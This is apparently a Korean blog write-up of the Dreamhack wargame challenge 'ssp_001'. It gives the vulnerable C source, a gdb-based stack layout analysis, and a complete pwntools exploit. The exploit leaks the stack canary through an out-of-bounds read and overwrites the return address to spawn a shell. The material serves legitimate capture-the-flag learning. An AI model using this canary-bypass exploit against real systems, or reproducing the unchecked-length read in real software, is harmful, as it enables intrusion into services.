Pwnable

[Dreamhack] ssp_001 - write up

e_yejun 2023. 1. 27. 16:07

Index


ssp_001
Description 이 문제는 작동하고 있는 서비스(ssp_001)의 바이너리와 소스코드가 주어집니다. 프로그램의 취약점을 찾고 SSP 방어 기법을 우회하여 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요. "flag" 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다. 플래그의 형식은 DH{...} 입니다.
https://dreamhack.io/wargame/challenges/33/

문제

보호기법 확인

NX와 Stack Canary가 적용되어 있다.

ssp_001.c

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}

void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}

int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;

    initialize();

    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}

각 메뉴가 함수로 구현되어 있고, main함수에서 입력을 받아 각 함수를 실행시킨다.

Fbox 배열에 입력을 하고, Pbox[idx] 값을 출력한다. E는 길이를 입력하고 입력받은 길이만큼 문자열을 받고 main함수를 종료한다.

E에서 길이를 우리가 지정해줄 수 있기 때문에 버퍼 오버플로우가 발생한다. gdb로 분석해보자.

문제 풀이

먼저, main함수에서 Stack Canary 값을 설정하는 부분이다. 이 값이 랜덤으로 설정되기 때문에 bof를 위해서는 이 값을 leak 해야한다.

선언된 각 변수의 스택 위치를 확인해보자.

menu함수 이후 입력 받는 문자는 select 배열에 저장되고, 이 주소는 ebp-0x8a이다.

select 값에 따라 각 switch 구문에 맞게 jump한다.

0x46('F')main+155로 점프한다.

read함수의 2번째 인자는 box배열이고, 이 배열의 시작주소는 ebp-0x88이다.

0x50('P')main+192로 점프한다.

scanf함수로 idx에 값을 입력받는다. 이 주소는 ebp-0x94이고, 이후 print_box함수로 box주소와 idx 값을 넘긴다. → print_box(box, idx)

0x45('E')main+249로 점프한다.

빨간색 부분에서는 name_len을 입력받는다. 이 주소는 ebp-0x90이다.

초록색 부분에서는 앞에 입력받은 name_len 주소인 ebp-0x90을 인자로 사용하고, name 배열에 입력을 받는다. 이 주소는 ebp-0x48이다.

현재까지 얻은 스택 주소 정보를 정리하면 다음과 같이 그릴 수 있다.

box주소로 부터 128byte 떨어진 곳은 canary가 있는 부분이다. oob read가 가능하기 때문에 P메뉴를 통해 box[128] 값부터 4byte를 읽는다. 값을 얻었다면 E메뉴를 선택하여 카나리를 원래 값으로 덮으면서 RETget_shell함수의 주소를 넣으면 셸을 얻을 수 있다.

익스플로잇

from pwn import *
context.log_level='debug'

p = process('./ssp_001')
e = process('./ssp_001')

get_shell = 0x080486b9
canary = b''

for i in range(131, 127, -1):
    p.sendlineafter(b'> ',b'P')
    p.sendlineafter(b'Element index :', str(i))
    canary += p.recvuntil('\n')[-3:-1]

canary = int(canary,16)
payload = b'A'*0x40 + p32(canary) + b'B'*8 + p32(get_shell)

p.sendlineafter(b'> ',b'E')
p.sendlineafter(b'Name Size : ', b'300')
p.sendlineafter(b'Name : ', payload)

p.interactive()


Uploaded by N2T